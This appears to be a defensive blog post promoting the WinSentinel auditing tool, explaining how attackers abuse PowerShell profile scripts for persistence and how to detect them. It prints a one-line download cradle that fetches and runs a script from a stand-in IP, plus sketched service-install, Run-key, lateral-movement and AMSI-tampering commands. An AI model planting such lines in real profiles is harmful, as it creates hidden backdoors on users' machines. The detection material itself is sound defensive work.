PowerShell Profile Persistence: The Startup Script Attackers Love
How profile.ps1 becomes a stealthy backdoor, and what WinSentinel flags when it scans yours.
Every time you open a PowerShell window, PowerShell quietly runs a handful of script files first — your profiles. They exist so you can set aliases, tweak your prompt, and load modules automatically. They also happen to be one of the cleanest persistence mechanisms on Windows: a line an attacker drops into a profile runs, silently, on every single shell launch, with the privileges of whoever opened it. MITRE tracks this as T1546.013 — Event Triggered Execution: PowerShell Profile.
Where the profiles live
There are four profile scopes, and they exist twice — once for Windows PowerShell 5.x and once for PowerShell 7+ (pwsh). The two that matter most for defenders are:
- CurrentUser profiles under your Documents folder — run when you open a shell.
- AllUsers profiles under
$PSHOME(e.g.C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1) — run for every user on the machine. A malicious line here is effectively a machine-wide backdoor.
You can see the four paths for your current host at any time:
$PROFILE | Select-Object *
Most machines have no profile files at all, which is exactly why a newly-appeared one is worth a second look.
What a weaponized profile looks like
The trick with profile persistence is that the payload usually isn't in the profile — the profile just fetches and runs it. A one-line download cradle is the classic:
# profile.ps1 — one line is all it takes
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.7/a.ps1')
But a profile can also do the persistence itself, without ever touching the network again after the first run. A few patterns we see repeatedly:
- Service install —
sc create backdoor binPath= C:\evil.exe start= autoorNew-Service, so a payload survives as a SYSTEM service (T1543.003). - Run-key persistence —
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run …, so the payload relaunches at every logon (T1547.001). - Lateral movement — an
Enter-PSSession -ComputerName dc01orInvoke-Command -ComputerName …staged from a profile turns an interactive login into a jump box (T1021.006). - AMSI / logging tampering — flipping
amsiInitFailedor disabling script-block logging so the rest of the session runs blind.
The nastiest part: a profile that only configures other persistence looks almost benign in isolation. There's no beaconing to catch, no dropped binary in a temp folder — just a text file that happens to run at every prompt.
Why this slips past people
Profiles are a legitimate feature, so they don't set off most tooling. They're plain text in a user-writable location, so no elevation is needed to plant one in a CurrentUser scope. And because admins expect profiles to contain automation, a hostile line blends into the noise of prompt tweaks and module imports. The detection problem isn't "is there a profile?" — it's "does this profile do something a login script has no business doing?"
How WinSentinel audits your profiles
WinSentinel's PowerShell Security module reads every profile that exists on the machine — all four scopes, for both Windows PowerShell and PowerShell 7 — and scans the contents against a library of high-signal indicators: download cradles, base64-encoded commands, in-memory .NET loading, AMSI and Defender tampering, credential-dumping tooling, and — as of this week's build — service-install and Run-key persistence and interactive remote-session lateral movement. Each match is reported with a plain-English reason and the MITRE technique it maps to.
Two grading rules keep it honest:
- A hit in a machine-wide (
AllUsers) profile is graded Critical — it runs for everyone. - Benign look-alikes (a read-only
Get-Service, a comment mentioning a firewall, aGet-ItemPropertyon a registry path) are deliberately not flagged, so the finding stays actionable instead of drowning you in noise.
Run it locally — no account, no fleet, no upload:
dotnet tool install --global WinSentinel.Cli
winsentinel --audit --category PowerShell
All of this is in the free, single-machine tier. Point it at your own box, read the profile findings, and decide whether that clever prompt tweak you inherited three jobs ago is actually a clever prompt tweak.
Cleaning up
If you find a profile you can't account for, don't just delete it — capture it first (it's evidence), then check the three places it may have already seeded: scheduled tasks, the Run/RunOnce keys, and installed services. Profile persistence is rarely the whole story; it's usually the loader for something quieter.